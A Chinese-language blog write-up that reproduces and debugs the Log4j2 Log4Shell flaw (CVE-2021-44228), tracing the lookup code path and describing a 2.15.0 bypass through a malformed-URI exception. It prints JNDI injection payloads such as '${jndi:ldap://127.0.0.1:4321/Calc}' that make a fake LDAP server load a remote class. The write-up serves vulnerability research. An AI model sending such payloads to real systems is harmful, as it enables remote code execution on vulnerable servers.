CVE-2021-44228 Log4j2复现
log4j2的基本使用
大名鼎鼎的log4j2来了
log4j2是apache提供的一个日志管理服务 记录日志信息
详细的介绍与使用可以看这篇文章
这个配置文件是网上随便找的一个
1 |
|
配置信息不用管 不是重点
1 | import org.apache.logging.log4j.LogManager; |
基本使用就是先获取logger然后就可以记录日志了

打印的内容和配置信息有关
寻找漏洞点
现在来查看官方文档

log4j2提供一个查找功能 不难想到rmi和jndi的lookup方法 文档里面也确实有这个类似接口

提供一个可以使用jndi的api
${jndi:地址}
我们先使用一下这个lookupsApi具体怎么用的
1 | import org.apache.logging.log4j.LogManager; |

将内容直接放入logger.info()里面 或者其他等级日志即可生效
log4j2还提供在字符串中可以使用{}用来占位 逗号后面填写变量
我们使用一下jndi的api
1 | import org.apache.logging.log4j.LogManager; |
启动fakeldap

成功弹出计算器
如果日志里面的变量可控 我们就可以打jndi 直接远程加载class文件实现rce
只需要变量可控即可 利用相当简单
开始调试
现在来调试一下

进入logger.info()

判断是否开启了日志服务


将原始的message和p0封装为一个Message对象

进入**tryLogMessage()**方法

继续进入Logger.log方法

首先获取到一个ReliabilityStrategy对象 获取配置信息

回到Logger.log方法

进入LocationAwareReliabilityStrategy.log方法

获取配置信息 进入config.log


继续封装成LogEvent 进入log方法

进入processLogEvent方法


调用AppenderControl去callAppender
从这里开始处理内容了
这里的appenders有2个 取决去配置文件里面的设置



进入AppenderControl.tryCallAppender方法


layout是日志里面的输出内容格式


进入PatternLayout.toText方法

这里调用传入的eventSerializer许序列化我们的event

调用formatter格式器进行格式化输出内容 buffer就是每次格式化后的内容
注意这里面的第7个格式器
他会解析我们的lookups的api 进而触发jndi

使用LogEventPatternConverter.format进行格式化


这里进行解析 前面6个格式化也就是解析内容 我们不必在意
我们直接跳到第7个格式化器查看具体情况

跳转到了别的form方法

这里又得开始解析 我们的内容为${jndi:ldap://127.0.0.1:4321/Calc}
直接定位到下面的getStrSubstitutor().replace(event,value)

getStrSubstitutor方法会获取所有支持的方法类型 可以看到有jndi


开始处理lookups方法了

这里处理相当复杂 直接来到最终的地方
resolveVariable方法处理我们的lookups方法内容

获取resolver 并开始调用lookups方法

通过前缀判断方法类型


终于是要触发jndi了

成功触发

最后会弹2次计算器 因为我们最开始的appender有2和 所以会调用2次lookup方法
总结一下
2.x < version < 2.15.0的版本都会触发漏洞
整个流程就是封装我们的message 最后变成一个LogEvent对象 后面进行具体解析的还是判断$ {
如果判断到了就尝试获取前缀 然后通过前缀去触发lookup 从而触发漏洞
还有其他比较重要的类Appender PatternFormater PatternConverter resolver StrSubstitutor
调试下来默认情况都是可以执行jndi的
2.15.0 bypass
先总结 window不能打 而且必须修改配置文件
直接看到这里

这里的converter是一个匿名类SimpleMessagePatternConverter
进入他的format方法

并没有去解析${}内容 在这里就跳过了lookup的解析 从而阻止了上个版本的rce

这个版本里面的MessagePatternConverter类里面有很多匿名类
找到一个LookupMessagePatternConverter类 发现他的format会检测是否有${ 如果有的话就会去解析
后面进入到这个方法

这不就是2.14.1版本里面的某个解析方法吗 如果可以进入这个匿名类的format方法里面 就应该可以绕过限制
那么想要绕过这个版本的限制 我们就需要使Converter为MessagePatternConverter的匿名类LookupMessagePatternConverter
我们现在得找一下 什么时候创建了这个对象 又为什么会创建为另一个不会解析的对象了呢
MessagePatternConverter里面有个newInstance方法

猜测就是这里没有绕过条件判断 默认情况下我们的converter就是FormattedMessagePatternConverter
我们来看看
1 | if (lookups && config != null) { |

主要是lookups默认情况下是false 导致没法执行lookups的一些列方法
跟进loadLookups方法

应该是从配置文件里面获取到这个配置 默认都是没有配置looksup有关的配置的
也就是说这个版本需要手动配置一个looksup开关才能打
这个配置文件我看了一下别的师傅的内容 直接贴上
1 | <configuration status="OFF" monitorInterval="30"> |
必须手动添加lookups有关的appender 才能打

此时lookups有内容了 为lookups
我们继续跟到format方法




来到老位置

进入jndiManager.lookup()


首先来对比一下版本差异 上个版本就很简单 直接就调用lookup了
2.15.0 在lookup上也做了一下限制

要经过上面所有判断之后 最后才打出来

注意这里的判断 会判断javaFactory是否存在 在构建fakeldap的时候 javaFactory这个是必要的 如果这里给拦截了 就没法打jndi了
fakeldap和fakermi 本质都是利用jndi中的一个Reference对象来打的 伪造Reference对象 构造的时候 url javaClassName javaFactory都是必须要有的参数
ClassName就是Reference对象指向的一个类 javaFactory是实际需要去加载的类 因为只能加载这个工厂类

所以这里在window上就不可能打出来的
mac与window的反汇编源码差异
来看看mac上面的源码
这个图片来自su18师傅的源码分析的一张图

虽然下面的判断都没看到 但是这里抛出异常的地方没有return
导致有机可乘 只要捕获到异常就可以绕过上面的检测 进入lookup里面了
在window平台反汇编出来的源码 这里捕获到的异常就会直接return出去了
这里就是师傅们所说的 为什么在window打不出来 因为反汇编出来的源码不一样
我们不管这些 看看如何才能被捕获到异常
URISyntaxException 只要我们的URI格式不规范就会被捕获到
exp
1 | ldap://127.0.0.1:4321/ Calc |
1 | //exp |
调试小结
调试的时候一波三折
还是第一次见到反汇编出来的源码会是不同的情况
调试的时候还是要多试 不能只看别人的分析文章 得自己上手分析一波才能懂
总结
总的来说还是version <= 2.14.1的版本才是最有危害的版本
默认配置即漏洞
version 2.16.0的commit中

已经把lookups这个功能删去了
之后的版本就没有这个rce了
说些什么吧!